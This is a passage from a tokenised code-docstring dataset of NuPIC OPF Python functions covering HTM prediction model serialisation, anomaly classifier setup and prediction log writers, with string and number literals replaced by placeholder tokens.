'<STR_LIT>'):<EOL><INDENT>self._minLikelihoodThreshold = DEFAULT_LIKELIHOOD_THRESHOLD<EOL><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._maxPredictionsPerStep = DEFAULT_MAX_PREDICTIONS_PER_STEP<EOL><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._hasCL = (self._getClassifierRegion() is not None)<EOL><DEDENT>self.__logger.debug(\"<STR_LIT>\" % self.__class__.__name__)<EOL>", "docstring": "Set the state of ourself from a serialized state.\n\nSee also: _deSerializeExtraData", "id": "f17680:c1:m42"}
{"signature": "def write(self, proto):", "body": "super(HTMPredictionModel, self).writeBaseToProto(proto.modelBase)<EOL>proto.numRunCalls = self.__numRunCalls<EOL>proto.minLikelihoodThreshold = self._minLikelihoodThreshold<EOL>proto.maxPredictionsPerStep = self._maxPredictionsPerStep<EOL>self._netInfo.net.write(proto.network)<EOL>proto.spLearningEnabled = self.__spLearningEnabled<EOL>proto.tpLearningEnabled = self.__tpLearningEnabled<EOL>if self._predictedFieldIdx is None:<EOL><INDENT>proto.predictedFieldIdx.none = None<EOL><DEDENT>else:<EOL><INDENT>proto.predictedFieldIdx.value = self._predictedFieldIdx<EOL><DEDENT>if self._predictedFieldName is None:<EOL><INDENT>proto.predictedFieldName.none = None<EOL><DEDENT>else:<EOL><INDENT>proto.predictedFieldName.value = self._predictedFieldName<EOL><DEDENT>if self._numFields is None:<EOL><INDENT>proto.numFields.none = None<EOL><DEDENT>else:<EOL><INDENT>proto.numFields.value = self._numFields<EOL><DEDENT>proto.trainSPNetOnlyIfRequested = self.__trainSPNetOnlyIfRequested<EOL>proto.finishedLearning = self.__finishedLearning<EOL>", "docstring": ":param proto: capnp HTMPredictionModelProto message builder", "id": "f17680:c1:m44"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "obj = object.__new__(cls)<EOL>super(HTMPredictionModel, obj).__init__(proto=proto.modelBase)<EOL>obj._minLikelihoodThreshold = round(proto.minLikelihoodThreshold,<EOL>EPSILON_ROUND)<EOL>obj._maxPredictionsPerStep = proto.maxPredictionsPerStep<EOL>network = Network.read(proto.network)<EOL>obj._hasSP = (\"<STR_LIT>\" in network.regions)<EOL>obj._hasTP = (\"<STR_LIT>\" in network.regions)<EOL>obj._hasCL = (\"<STR_LIT>\" in network.regions)<EOL>obj._netInfo = NetworkInfo(net=network, statsCollectors=[])<EOL>obj.__spLearningEnabled = bool(proto.spLearningEnabled)<EOL>obj.__tpLearningEnabled = bool(proto.tpLearningEnabled)<EOL>obj.__numRunCalls = proto.numRunCalls<EOL>obj._classifierInputEncoder = None<EOL>if proto.predictedFieldIdx.which() == \"<STR_LIT:none>\":<EOL><INDENT>obj._predictedFieldIdx = None<EOL><DEDENT>else:<EOL><INDENT>obj._predictedFieldIdx = proto.predictedFieldIdx.value<EOL><DEDENT>if proto.predictedFieldName.which() == \"<STR_LIT:none>\":<EOL><INDENT>obj._predictedFieldName = None<EOL><DEDENT>else:<EOL><INDENT>obj._predictedFieldName = proto.predictedFieldName.value<EOL><DEDENT>obj._numFields = proto.numFields<EOL>if proto.numFields.which() == \"<STR_LIT:none>\":<EOL><INDENT>obj._numFields = None<EOL><DEDENT>else:<EOL><INDENT>obj._numFields = proto.numFields.value<EOL><DEDENT>obj.__trainSPNetOnlyIfRequested = proto.trainSPNetOnlyIfRequested<EOL>obj.__finishedLearning = proto.finishedLearning<EOL>obj._input = None<EOL>sensor = network.regions['<STR_LIT>'].getSelf()<EOL>sensor.dataSource = DataBuffer()<EOL>network.initialize()<EOL>obj.__logger = initLogger(obj)<EOL>obj.__logger.debug(\"<STR_LIT>\" % obj.__myClassName)<EOL>obj.__restoringFromState = False<EOL>obj.__restoringFromV1 = False<EOL>return obj<EOL>", "docstring": ":param proto: capnp HTMPredictionModelProto message reader", "id": "f17680:c1:m45"}
{"signature": "def _serializeExtraData(self, extraDataDir):", "body": "makeDirectoryFromAbsolutePath(extraDataDir)<EOL>outputDir = self.__getNetworkStateDirectory(extraDataDir=extraDataDir)<EOL>self.__logger.debug(\"<STR_LIT>\")<EOL>self._netInfo.net.save(outputDir)<EOL>self.__logger.debug(\"<STR_LIT>\")<EOL>return<EOL>", "docstring": "[virtual method override] This method is called during serialization\n        with an external directory path that can be used to bypass pickle for saving\n        large binary states.\n\n        extraDataDir:\n                      Model's extra data directory path", "id": "f17680:c1:m46"}
{"signature": "def _deSerializeExtraData(self, extraDataDir):", "body": "assert self.__restoringFromState<EOL>assert (self._netInfo.net is None), \"<STR_LIT>\"<EOL>stateDir = self.__getNetworkStateDirectory(extraDataDir=extraDataDir)<EOL>self.__logger.debug(<EOL>\"<STR_LIT>\", self)<EOL>self._netInfo.net = Network(stateDir)<EOL>self.__logger.debug(<EOL>\"<STR_LIT>\", self)<EOL>self._netInfo.net.initialize()<EOL>if self.getInferenceType() == InferenceType.TemporalAnomaly:<EOL><INDENT>classifierType = self._getAnomalyClassifier().getSelf().__class__.__name__<EOL>if classifierType is '<STR_LIT>':<EOL><INDENT>anomalyClParams = dict(<EOL>trainRecords=self._classifier_helper._autoDetectWaitRecords,<EOL>cacheSize=self._classifier_helper._history_length,<EOL>)<EOL>spEnable = (self._getSPRegion() is not None)<EOL>tmEnable = True<EOL>knnRegion = self._getAnomalyClassifier().getSelf()<EOL>self._addAnomalyClassifierRegion(self._netInfo.net, anomalyClParams,<EOL>spEnable, tmEnable)<EOL>self._getAnomalyClassifier().getSelf()._iteration = self.__numRunCalls<EOL>self._getAnomalyClassifier().getSelf()._recordsCache = (<EOL>self._classifier_helper.saved_states)<EOL>self._getAnomalyClassifier().getSelf().saved_categories = (<EOL>self._classifier_helper.saved_categories)<EOL>self._getAnomalyClassifier().getSelf()._knnclassifier = knnRegion<EOL>self._getTPRegion().setParameter('<STR_LIT>', True)<EOL>del self._classifier_helper<EOL>self._netInfo.net.initialize()<EOL><DEDENT><DEDENT>self.__restoringFromState = False<EOL>self.__logger.debug(\"<STR_LIT>\", self)<EOL>return<EOL>", "docstring": "[virtual method override] This method is called during deserialization\n        (after __setstate__) with an external directory path that can be used to\n        bypass pickle for loading large binary states.\n\n        extraDataDir:\n                      Model's extra data directory path", "id": "f17680:c1:m47"}
{"signature": "def _addAnomalyClassifierRegion(self, network, params, spEnable, tmEnable):", "body": "allParams = copy.deepcopy(params)<EOL>knnParams = dict(k=<NUM_LIT:1>,<EOL>distanceMethod='<STR_LIT>',<EOL>distanceNorm=<NUM_LIT:1>,<EOL>doBinarization=<NUM_LIT:1>,<EOL>replaceDuplicates=<NUM_LIT:0>,<EOL>maxStoredPatterns=<NUM_LIT:1000>)<EOL>allParams.update(knnParams)<EOL>if allParams['<STR_LIT>'] is None:<EOL><INDENT>allParams['<STR_LIT>'] = DEFAULT_ANOMALY_TRAINRECORDS<EOL><DEDENT>if allParams['<STR_LIT>'] is None:<EOL><INDENT>allParams['<STR_LIT>'] = DEFAULT_ANOMALY_CACHESIZE<EOL><DEDENT>if self._netInfo is not None and self._netInfo.net is not Noneand self._getAnomalyClassifier() is not None:<EOL><INDENT>self._netInfo.net.removeRegion('<STR_LIT>')<EOL><DEDENT>network.addRegion(\"<STR_LIT>\",<EOL>\"<STR_LIT>\",<EOL>json.dumps(allParams))<EOL>if spEnable:<EOL><INDENT>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL><DEDENT>if tmEnable:<EOL><INDENT>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL>network.link(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>srcOutput=\"<STR_LIT>\", destInput=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Attaches an 'AnomalyClassifier' region to the network. Will remove current\n'AnomalyClassifier' region if it exists.\n\nParameters\n-----------\nnetwork - network to add the AnomalyClassifier region\nparams - parameters to pass to the region\nspEnable - True if network has an SP region\ntmEnable - True if network has a TM region; Currently requires True", "id": "f17680:c1:m48"}
{"signature": "def __getNetworkStateDirectory(self, extraDataDir):", "body": "if self.__restoringFromV1:<EOL><INDENT>if self.getInferenceType() == InferenceType.TemporalNextStep:<EOL><INDENT>leafName = '<STR_LIT>'+ \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>leafName = '<STR_LIT>'+ \"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>leafName = InferenceType.getLabel(self.getInferenceType()) + \"<STR_LIT>\"<EOL><DEDENT>path = os.path.join(extraDataDir, leafName)<EOL>path = os.path.abspath(path)<EOL>return path<EOL>", "docstring": "extraDataDir:\n              Model's extra data directory path\nReturns:      Absolute directory path for saving CLA Network", "id": "f17680:c1:m49"}
{"signature": "def __manglePrivateMemberName(self, privateMemberName, skipCheck=False):", "body": "assert privateMemberName.startswith(\"<STR_LIT>\"),\"<STR_LIT>\" % privateMemberName<EOL>assert not privateMemberName.startswith(\"<STR_LIT>\"),\"<STR_LIT>\" % privateMemberName<EOL>assert not privateMemberName.endswith(\"<STR_LIT>\"),\"<STR_LIT>\" % privateMemberName<EOL>realName = \"<STR_LIT:_>\" + (self.__myClassName).lstrip(\"<STR_LIT:_>\") + privateMemberName<EOL>if not skipCheck:<EOL><INDENT>getattr(self, realName)<EOL><DEDENT>return realName<EOL>", "docstring": "Mangles the given mangled (private) member name; a mangled member name\n        is one whose name begins with two or more underscores and ends with one\n        or zero underscores.\n\n        privateMemberName:\n                      The private member name (e.g., \"__logger\")\n\n        skipCheck:    Pass True to skip test for presence of the demangled member\n                      in our instance.\n\n        Returns:      The demangled member name (e.g., \"_HTMPredictionModel__logger\")", "id": "f17680:c1:m50"}
{"signature": "@abstractmethod<EOL><INDENT>def emitPeriodicMetrics(self, metrics):<DEDENT>", "body": "", "docstring": "Emits periodic metrics to stdout in JSON.\n\n        :param metrics: A list of metrics as returned by\n              :meth:`nupic.frameworks.opf.opf_task_driver.OPFTaskDriver.getMetrics`.", "id": "f17681:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def emitFinalMetrics(self, metrics):<DEDENT>", "body": "", "docstring": "Emits final metrics.\n\n        .. note:: the intention is that the final metrics may go to a different\n                  place (e.g., csv file) versus :meth:`emitPeriodicMetrics`\n                  (e.g., stdout)\n\n        :param metrics: A list of metrics as returned by\n              :meth:`nupic.frameworks.opf.opf_task_driver.OPFTaskDriver.getMetrics`.", "id": "f17681:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def getDatasetFieldMetaData(self):<DEDENT>", "body": "", "docstring": ":returns:     a tuple of dataset field metadata descriptors that are\n              arranged in the same order as the columns in the dataset.\n              Each field metadata descriptor is of type\n              :class:`nupic.data.field_meta.FieldMetaInfo`", "id": "f17681:c1:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def next(self):<DEDENT>", "body": "", "docstring": ":returns:     The next record from the dataset.  The returned record object\n              is of the same structure as returned by\n              :meth:`nupic.data.record_stream.RecordStreamIface.getNextRecord`.\n              Returns ``None`` if the next record is not available yet.\n\n:raises: (StopIteration) if a hard \"end of file\" has been reached\n              and no more records will be forthcoming.", "id": "f17681:c1:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def close(self):<DEDENT>", "body": "", "docstring": "Closes the writer (e.g., close the underlying file)", "id": "f17681:c2:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def append(self, inputRow, predictionRow, sequenceReset, metrics=None):<DEDENT>", "body": "", "docstring": "Emits a single prediction as input versus predicted.\n\n        inputRow:       A tuple or list of fields comprising the input data row.\n        predictionRow:  A tuple or list of fields comprising the prediction, or None\n                        if prediction is not available.  The None use case is\n                        intended for temporal inference where there is no matching\n                        prediction for the same timestep as the given ground truth,\n                        such as the case with the very first input record.\n        sequenceReset:  A value that tests True if the input row was\n                        accompanied by a sequence reset signal; False if not\n                        accompanied by a sequence reset signal.\n\n        metrics:        OPTIONAL -A dictionary of metrics that will be written out\n                        with every prediction. The keys are the automatically\n                        generated metric labels (see MetricSpec in\n                        prediction_metrics_manager.py), and the value is the real\n                        number value of the metric.", "id": "f17681:c2:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def checkpoint(self, checkpointSink, maxRows):<DEDENT>", "body": "", "docstring": "Save a checkpoint of the prediction output stream. The checkpoint\n        comprises up to maxRows of the most recent inference records.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        checkpointSink:     A File-like object where predictions checkpoint data, if\n                            any, will be stored.\n        maxRows:            Maximum number of most recent inference rows\n                            to checkpoint.", "id": "f17681:c2:m2"}
{"signature": "def _translateMetricsToJSON(self, metrics, label):", "body": "<EOL>metricsDict = metrics<EOL>def _mapNumpyValues(obj):<EOL><INDENT>\"\"\"<STR_LIT:U+0020>\"\"\"<EOL>import numpy<EOL>if isinstance(obj, numpy.float32):<EOL><INDENT>return float(obj)<EOL><DEDENT>elif isinstance(obj, numpy.bool_):<EOL><INDENT>return bool(obj)<EOL><DEDENT>elif isinstance(obj, numpy.ndarray):<EOL><INDENT>return obj.tolist()<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % (obj, obj.__class__))<EOL><DEDENT><DEDENT>jsonString = json.dumps(metricsDict, indent=<NUM_LIT:4>, default=_mapNumpyValues)<EOL>return jsonString<EOL>", "docstring": "Translates the given metrics value to JSON string\n\n        metrics:        A list of dictionaries per OPFTaskDriver.getMetrics():\n\n        Returns:        JSON string representing the given metrics object.", "id": "f17681:c3:m4"}
{"signature": "def __init__(self, experimentDir, label, inferenceType,<EOL>fields, metricNames=None, checkpointSource=None):", "body": "<EOL>self.__experimentDir = experimentDir<EOL>self.__inferenceType = inferenceType<EOL>self.__inputFieldsMeta = tuple(copy.deepcopy(fields))<EOL>self.__numInputFields = len(self.__inputFieldsMeta)<EOL>self.__label = label<EOL>if metricNames is not None:<EOL><INDENT>metricNames.sort()<EOL><DEDENT>self.__metricNames = metricNames<EOL>self.__outputFieldsMeta = []<EOL>self._rawInputNames = []<EOL>self.__datasetPath = None<EOL>self.__dataset = None<EOL>self.__checkpointCache = None<EOL>if checkpointSource is not None:<EOL><INDENT>checkpointSource.seek(<NUM_LIT:0>)<EOL>self.__checkpointCache = io.StringIO()<EOL>shutil.copyfileobj(checkpointSource, self.__checkpointCache)<EOL><DEDENT>return<EOL>", "docstring": "Constructor\n\n        experimentDir:\n                      experiment directory path that contains description.py\n\n        label:        A label string to incorporate into the filename.\n\n\n        inferenceElements:\n\n\n        inferenceType:\n                      An constant from opf_utils.InferenceType for the\n                      requested prediction writer\n\n        fields:       a non-empty sequence of nupic.data.fieldmeta.FieldMetaInfo\n                      representing fields that will be emitted to this prediction\n                      writer\n\n        metricNames:  OPTIONAL - A list of metric names that well be emiited by this\n                      prediction writer\n\n        checkpointSource:\n                      If not None, a File-like object containing the\n                      previously-checkpointed predictions for setting the initial\n                      contents of this PredictionOutputStream.  Will be copied\n                      before returning, if needed.", "id": "f17681:c5:m0"}
{"signature": "def __openDatafile(self, modelResult):", "body": "<EOL>resetFieldMeta = FieldMetaInfo(<EOL>name=\"<STR_LIT>\",<EOL>type=FieldMetaType.integer,<EOL>special = FieldMetaSpecial.reset)<EOL>self.__outputFieldsMeta.append(resetFieldMeta)<EOL>rawInput = modelResult.rawInput<EOL>rawFields = list(rawInput.keys())<EOL>rawFields.sort()<EOL>for field in rawFields:<EOL><INDENT>if field.startswith('<STR_LIT:_>') or field == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>value = rawInput[field]<EOL>meta = FieldMetaInfo(name=field, type=FieldMetaType.string,<EOL>special=FieldMetaSpecial.none)<EOL>self.__outputFieldsMeta.append(meta)<EOL>self._rawInputNames.append(field)<EOL><DEDENT>for inferenceElement, value in modelResult.inferences.items():<EOL><INDENT>inferenceLabel = InferenceElement.getLabel(inferenceElement)<EOL>if type(value) in (list, tuple):<EOL><INDENT>self.__outputFieldsMeta.extend(self.__getListMetaInfo(inferenceElement))<EOL><DEDENT>elif isinstance(value, dict):<EOL><INDENT>self.__outputFieldsMeta.extend(self.__getDictMetaInfo(inferenceElement,<EOL>value))<EOL><DEDENT>else:<EOL><INDENT>if InferenceElement.getInputElement(inferenceElement):<EOL><INDENT>self.__outputFieldsMeta.append(FieldMetaInfo(name=inferenceLabel+\"<STR_LIT>\",<EOL>type=FieldMetaType.string, special = '<STR_LIT>'))<EOL><DEDENT>self.__outputFieldsMeta.append(FieldMetaInfo(name=inferenceLabel,<EOL>type=FieldMetaType.string, special = '<STR_LIT>'))<EOL><DEDENT><DEDENT>if self.__metricNames:<EOL><INDENT>for metricName in self.__metricNames:<EOL><INDENT>metricField = FieldMetaInfo(<EOL>name = metricName,<EOL>type = FieldMetaType.float,<EOL>special = FieldMetaSpecial.none)<EOL>self.__outputFieldsMeta.append(metricField)<EOL><DEDENT><DEDENT>inferenceDir = _FileUtils.createExperimentInferenceDir(self.__experimentDir)<EOL>filename = (self.__label + \"<STR_LIT:.>\" +<EOL>opf_utils.InferenceType.getLabel(self.__inferenceType) +<EOL>\"<STR_LIT>\")<EOL>self.__datasetPath = os.path.join(inferenceDir, filename)<EOL>print(\"<STR_LIT>\" % self.__datasetPath)<EOL>print(\"<STR_LIT>\" % ([tuple(i) for i in self.__outputFieldsMeta],))<EOL>self.__dataset = FileRecordStream(streamID=self.__datasetPath, write=True,<EOL>fields=self.__outputFieldsMeta)<EOL>if self.__checkpointCache is not None:<EOL><INDENT>self.__checkpointCache.seek(<NUM_LIT:0>)<EOL>reader = csv.reader(self.__checkpointCache, dialect='<STR_LIT>')<EOL>try:<EOL><INDENT>header = next(reader)<EOL><DEDENT>except StopIteration:<EOL><INDENT>print(\"<STR_LIT>\" % (self.__datasetPath,))<EOL><DEDENT>else:<EOL><INDENT>assert tuple(self.__dataset.getFieldNames()) == tuple(header),\"<STR_LIT>\" % (<EOL>tuple(self.__dataset.getFieldNames()), tuple(header))<EOL><DEDENT>numRowsCopied = <NUM_LIT:0><EOL>while True:<EOL><INDENT>try:<EOL><INDENT>row = next(reader)<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>self.__dataset.appendRecord(row)<EOL>numRowsCopied += <NUM_LIT:1><EOL><DEDENT>self.__dataset.flush()<EOL>print(\"<STR_LIT>\" % (<EOL>numRowsCopied, self.__datasetPath))<EOL>self.__checkpointCache.close()<EOL>self.__checkpointCache = None<EOL><DEDENT>return<EOL>", "docstring": "Open the data file and write the header row", "id": "f17681:c5:m1"}
{"signature": "def setLoggedMetrics(self, metricNames):", "body": "if metricNames is None:<EOL><INDENT>self.__metricNames = set([])<EOL><DEDENT>else:<EOL><INDENT>self.__metricNames = set(metricNames)<EOL><DEDENT>", "docstring": "Tell the writer which metrics should be written\n\n        Parameters:\n        -----------------------------------------------------------------------\n        metricsNames: A list of metric lables to be written", "id": "f17681:c5:m2"}
{"signature": "def close(self):", "body": "if self.__dataset:<EOL><INDENT>self.__dataset.close()<EOL><DEDENT>self.__dataset = None<EOL>return<EOL>", "docstring": "[virtual method override] Closes the writer (e.g., close the underlying\n        file)", "id": "f17681:c5:m3"}
{"signature": "def __getListMetaInfo(self, inferenceElement):", "body": "fieldMetaInfo = []<EOL>inferenceLabel = InferenceElement.getLabel(inferenceElement)<EOL>for inputFieldMeta in self.__inputFieldsMeta:<EOL><INDENT>if InferenceElement.getInputElement(inferenceElement):<EOL><INDENT>outputFieldMeta = FieldMetaInfo(<EOL>name=inputFieldMeta.name + \"<STR_LIT>\",<EOL>type=inputFieldMeta.type,<EOL>special=inputFieldMeta.special<EOL>)<EOL><DEDENT>predictionField = FieldMetaInfo(<EOL>name=inputFieldMeta.name + \"<STR_LIT:.>\" + inferenceLabel,<EOL>type=inputFieldMeta.type,<EOL>special=inputFieldMeta.special<EOL>)<EOL>fieldMetaInfo.append(outputFieldMeta)<EOL>fieldMetaInfo.append(predictionField)<EOL><DEDENT>return fieldMetaInfo<EOL>", "docstring": "Get field metadata information for inferences that are of list type\n        TODO: Right now we assume list inferences are associated with the input field\n        metadata", "id": "f17681:c5:m4"}
{"signature": "def __getDictMetaInfo(self, inferenceElement, inferenceDict):", "body": "fieldMetaInfo = []<EOL>inferenceLabel = InferenceElement.getLabel(inferenceElement)<EOL>if InferenceElement.getInputElement(inferenceElement):<EOL><INDENT>fieldMetaInfo.append(FieldMetaInfo(name=inferenceLabel+\"<STR_LIT>\",<EOL>type=FieldMetaType.string,<EOL>special = '<STR_LIT>'))<EOL><DEDENT>keys = sorted(inferenceDict.keys())<EOL>for key in keys:<EOL><INDENT>fieldMetaInfo.append(FieldMetaInfo(name=inferenceLabel+\"<STR_LIT:.>\"+str(key),<EOL>type=FieldMetaType.string,<EOL>special='<STR_LIT>'))<EOL><DEDENT>return fieldMetaInfo<EOL>", "docstring": "Get field metadate information for inferences that are of dict type", "id": "f17681:c5:m5"}
{"signature": "def append(self, modelResult):", "body": "<EOL>inferences = modelResult.inferences<EOL>hasInferences = False<EOL>if inferences is not None:<EOL><INDENT>for value in inferences.values():<EOL><INDENT>hasInferences = hasInferences or (value is not None)<EOL><DEDENT><DEDENT>if not hasInferences:<EOL><INDENT>return<EOL><DEDENT>if self.__dataset is None:<EOL><INDENT>self.__openDatafile(modelResult)<EOL><DEDENT>inputData = modelResult.sensorInput<EOL>sequenceReset = int(bool(inputData.sequenceReset))<EOL>outputRow = [sequenceReset]<EOL>rawInput = modelResult.rawInput<EOL>for field in self._rawInputNames:<EOL><INDENT>outputRow.append(str(rawInput[field]))<EOL><DEDENT>for inferenceElement, outputVal in inferences.items():<EOL><INDENT>inputElement = InferenceElement.getInputElement(inferenceElement)<EOL>if inputElement:<EOL><INDENT>inputVal = getattr(inputData, inputElement)<EOL><DEDENT>else:<EOL><INDENT>inputVal = None<EOL><DEDENT>if type(outputVal) in (list, tuple):<EOL><INDENT>assert type(inputVal) in (list, tuple, None)<EOL>for iv, ov in zip(inputVal, outputVal):<EOL><INDENT>outputRow.append(str(iv))<EOL>outputRow.append(str(ov))<EOL><DEDENT><DEDENT>elif isinstance(outputVal, dict):<EOL><INDENT>if inputVal is not None:<EOL><INDENT>if modelResult.predictedFieldName is not None:<EOL><INDENT>outputRow.append(str(inputVal[modelResult.predictedFieldName]))<EOL><DEDENT>else:<EOL><INDENT>outputRow.append(str(inputVal))<EOL><DEDENT><DEDENT>for key in sorted(outputVal.keys()):<EOL><INDENT>outputRow.append(str(outputVal[key]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if inputVal is not None:<EOL><INDENT>outputRow.append(str(inputVal))<EOL><DEDENT>outputRow.append(str(outputVal))<EOL><DEDENT><DEDENT>metrics = modelResult.metrics<EOL>for metricName in self.__metricNames:<EOL><INDENT>outputRow.append(metrics.get(metricName, <NUM_LIT:0.0>))<EOL><DEDENT>self.__dataset.appendRecord(outputRow)<EOL>self.__dataset.flush()<EOL>return<EOL>", "docstring": "[virtual method override] Emits a single prediction as input versus\n        predicted.\n\n        modelResult:    An opf_utils.ModelResult object that contains the model input\n                        and output for the current timestep.", "id": "f17681:c5:m6"}
{"signature": "def checkpoint(self, checkpointSink, maxRows):", "body": "checkpointSink.truncate()<EOL>if self.__dataset is None:<EOL><INDENT>if self.__checkpointCache is not None:<EOL><INDENT>self.__checkpointCache.seek(<NUM_LIT:0>)<EOL>shutil.copyfileobj(self.__checkpointCache, checkpointSink)<EOL>checkpointSink.flush()<EOL>return<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT><DEDENT>self.__dataset.flush()<EOL>totalDataRows = self.__dataset.getDataRowCount()<EOL>if totalDataRows == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>reader = FileRecordStream(self.__datasetPath, missingValues=[])<EOL>writer = csv.writer(checkpointSink)<EOL>writer.writerow(reader.getFieldNames())<EOL>numToWrite = min(maxRows, totalDataRows)<EOL>numRowsToSkip = totalDataRows - numToWrite<EOL>for i in range(numRowsToSkip):<EOL><INDENT>next(reader)<EOL><DEDENT>numWritten = <NUM_LIT:0><EOL>while True:<EOL><INDENT>row = reader.getNextRecord()<EOL>if row is None:<EOL><INDENT>break;<EOL><DEDENT>row =  [str(element) for element in row]<EOL>writer.writerow(row)<EOL>numWritten +=<NUM_LIT:1><EOL><DEDENT>assert numWritten == numToWrite,\"<STR_LIT>\" % (numWritten, numToWrite)<EOL>checkpointSink.flush()<EOL>return<EOL>", "docstring": "[virtual method override] Save a checkpoint of the prediction output\n        stream. The checkpoint comprises up to maxRows of the most recent inference\n        records.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        checkpointSink:     A File-like object where predictions checkpoint data, if\n                            any, will be stored.\n        maxRows:            Maximum number of most recent inference rows\n                            to checkpoint.", "id": "f17681:c5:m7"}
{"signature": "def update(self, modelResult):", "body": "self.__writer.append(modelResult)<EOL>return<EOL>", "docstring": "Emit a input/prediction pair, if possible.\n\n        modelResult:    An opf_utils.ModelResult object that contains the model input\n                        and output for the current timestep.", "id": "f17681:c6:m2"}
{"signature": "def __init__(self, writer):", "body": "self.__logger = logging.getLogger(\"<STR_LIT:.>\".join(<EOL>['<STR_LIT>', self.__class__.__module__, self.__class__.__name__]))<EOL>self.__writer = writer<EOL>self.__inferenceShifter = InferenceShifter()<EOL>return<EOL>", "docstring": "writer:       Non-temporal prediction log writer conforming to\n              PredictionWriterIface interface.", "id": "f17681:c7:m0"}
{"signature": "def update(self, modelResult):", "body": "self.__writer.append(self.__inferenceShifter.shift(modelResult))<EOL>", "docstring": "Queue up the T(i+1) prediction value and emit a T(i)\n        input/prediction pair, if possible.  E.g., if the previous T(i-1)\n        iteration was learn-only, then we would not have a T(i) prediction in our\n        FIFO and would not be able to emit a meaningful input/prediction\n        pair.\n\n        modelResult:    An opf_utils.ModelResult object that contains the model input\n                        and output for the current timestep.", "id": "f17681:c7:m2"}
{"signature": "@staticmethod<EOL><INDENT>def getExperimentInferenceDirPath(experimentDir):<DEDENT>", "body": "return os.path.abspath(os.path.join(experimentDir, \"<STR_LIT>\"))<EOL>", "docstring": "experimentDir:  experiment directory path that contains description.py\n\nReturns: experiment inference directory path string (the path may not\n          yet exist - see createExperimentInferenceDir())", "id": "f17681:c9:m0"}
{"signature": "@classmethod<EOL><INDENT>def createExperimentInferenceDir(cls, experimentDir):<DEDENT>", "body": "path = cls.getExperimentInferenceDirPath(experimentDir)<EOL>cls.makeDirectory(path)<EOL>return path<EOL>", "docstring": "Creates the inference output directory for the given experiment\n\n        experimentDir:  experiment directory path that contains description.py\n\n        Returns:  path of the inference output directory", "id": "f17681:c9:m1"}
{"signature": "@staticmethod<EOL><INDENT>def makeDirectory(path):<DEDENT>", "body": "<EOL>try:<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno == os.errno.EEXIST:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>return<EOL>", "docstring": "Makes directory for the given directory path if it doesn't already exist\n        in the filesystem.  Creates all requested directory segments as needed.\n\n        path:   path of the directory to create.\n\n        Returns:      nothing", "id": "f17681:c9:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def close(self):<DEDENT>", "body": "", "docstring": "Closes connect to output store and cleans up any resources associated\n        with writing.", "id": "f17683:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def writeRecord(self, modelResult):<DEDENT>", "body": "", "docstring": "Emits a set of inputs data, inferences, and metrics from a model\n        resulting from a single record.\n\n        :param modelResult: (:class:`nupic.frameworks.opf.opf_utils.ModelResult`)\n               contains the model input and output for the current timestep.", "id": "f17683:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def writeRecords(self, modelResults, progressCB=None):<DEDENT>", "body": "", "docstring": "Same as :meth:`writeRecord`, but emits multiple rows in one shot.\n\n:param modelResults: (list) of\n       :class:`nupic.frameworks.opf.opf_utils.ModelResult` objects, each\n       represents one record.\n:param progressCB: (func) optional callback method that will be called after\n       each batch of records is written.", "id": "f17683:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def setLoggedMetrics(self, metricNames):<DEDENT>", "body": "", "docstring": "Sets which metrics should be written to the prediction log.\n\n        :param metricNames: (list) metric names that match the labels of the\n                          metrics that should be written to the prediction log", "id": "f17683:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def checkpoint(self, checkpointSink, maxRows):<DEDENT>", "body": "", "docstring": "Save a checkpoint of the prediction output stream. The checkpoint\n        comprises up to maxRows of the most recent inference records.\n\n        :param checkpointSink: A File-like object where predictions checkpoint data,\n               if any, will be stored.\n        :param maxRows: (int) Maximum number of most recent inference rows to\n               checkpoint.", "id": "f17683:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def __getLogger(cls):<DEDENT>", "body": "if cls.__logger is None:<EOL><INDENT>cls.__logger = opf_utils.initLogger(cls)<EOL><DEDENT>return cls.__logger<EOL>", "docstring": "Get the logger for this object.\n\n        :returns: (Logger) A Logger object.", "id": "f17684:c0:m0"}
